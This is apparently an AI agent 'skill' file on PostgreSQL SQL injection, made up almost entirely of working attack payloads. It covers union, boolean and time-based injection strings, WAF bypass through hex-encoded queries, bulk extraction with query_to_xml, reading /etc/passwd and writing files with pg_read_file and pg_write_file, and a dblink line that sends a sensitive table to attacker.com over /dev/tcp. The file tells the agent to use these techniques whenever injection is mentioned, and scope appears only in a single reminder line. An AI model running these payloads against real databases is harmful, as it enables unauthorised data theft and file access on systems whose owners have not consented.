| name | postgresql-injection |
| description | How to test for and exploit PostgreSQL SQL injection vulnerabilities. Use this skill whenever the user mentions PostgreSQL injection, SQL injection against PostgreSQL databases, WAF bypass for PostgreSQL, or needs to enumerate/exfiltrate data from PostgreSQL through injection. This includes testing for stacked queries, using dblink for network interaction, XML-based data extraction, and bypassing filters with hex encoding or string functions. |
PostgreSQL Injection Testing
A comprehensive guide for testing PostgreSQL SQL injection vulnerabilities.
When to Use This Skill
Use this skill when:
- You've identified a SQL injection vulnerability and need to determine if it's PostgreSQL
- You need to enumerate database structure from a PostgreSQL injection point
- You want to exfiltrate data through PostgreSQL injection
- You need to bypass WAFs or input filters targeting PostgreSQL
- You're exploring privilege escalation paths from PostgreSQL
- You need to perform network operations through PostgreSQL (dblink)
Quick Start
- Confirm PostgreSQL - Use PostgreSQL-specific syntax to verify the database type
- Enumerate - Extract database schema, tables, and columns
- Exfiltrate - Pull sensitive data using appropriate techniques
- Escalate - Explore privilege escalation and network access options
Confirming PostgreSQL
Test with PostgreSQL-specific functions:
SELECT version();
SELECT current_setting('is_superuser');
SELECT current_database();
Data Enumeration
Get Table Names
SELECT string_agg(table_name, ',') FROM information_schema.tables;
SELECT string_agg(schemaname || '.' || tablename, ',') FROM pg_tables;
Get Column Names
SELECT string_agg(column_name, ',') FROM information_schema.columns WHERE table_name = 'target_table';
WAF Bypass Techniques
Hex Encoding
Bypass filters by encoding queries as hex:
SELECT encode('SELECT * FROM users', 'hex');
SELECT convert_from('\x73656c656374202a2066726f6d207573657273', 'UTF8');
SELECT query_to_xml(convert_from('\x73656c656374202a2066726f6d207573657273', 'UTF8'), true, true, '');
String Functions
Use PostgreSQL string functions to construct queries:
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
SELECT $$SELECT * FROM users$$;
SELECT $tag$SELECT * FROM users$tag$;
XML-Based Extraction
Extract large datasets in single queries:
SELECT query_to_xml('SELECT * FROM users', true, true, '');
SELECT database_to_xml(true, true, '');
Stacked Queries
PostgreSQL supports stacked queries:
id=1; SELECT pg_sleep(10);
1; SELECT CASE WHEN (SELECT current_setting('is_superuser'))='on' THEN pg_sleep(10) END;
Network Operations (dblink)
The dblink module enables network connections:
SELECT dblink('host=external_db port=5432 dbname=test user=user password=pass', 'SELECT 1');
SELECT dblink('host=target port=22', 'SELECT 1');
SELECT dblink('host=attacker.com port=5432 dbname=exfil user=x password=x', 'COPY (SELECT * FROM sensitive_data) TO ''/dev/tcp/attacker.com/5432''');
Privilege Escalation
Check Current Privileges
SELECT current_user;
SELECT current_setting('is_superuser');
SELECT * FROM pg_roles WHERE rolname = current_user;
File Operations
SELECT pg_read_file('/etc/passwd');
SELECT pg_write_file('malicious content', '/tmp/malicious.txt');
Error-Based Extraction
Extract data through error messages:
SELECT CAST(string_agg(table_name, ',') AS INT) FROM information_schema.tables;
SELECT query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8'), true, true, '');
Best Practices
- Always confirm PostgreSQL before using PostgreSQL-specific techniques
- Start simple - basic enumeration before complex bypasses
- Document findings - track what works and what doesn't
- Respect scope - only test systems you have authorization for
- Use time-based techniques when blind injection is detected
- Combine techniques - hex encoding + XML + stacked queries for maximum bypass
Common Payloads
Blind Time-Based
'; SELECT pg_sleep(5);-- -
-- Conditional sleep
'; SELECT CASE WHEN (SELECT COUNT(*) FROM users) > 0 THEN pg_sleep(5) END;
Boolean-Based
' OR '1'='1'-- -
-- False condition
' OR '1'='2'
' OR EXISTS(SELECT * FROM users)-- -
Union-Based
' ORDER BY 1-- -
' ORDER BY 2
' ORDER BY 3-- -
-- Extract data
' UNION SELECT 1, username, password FROM users
References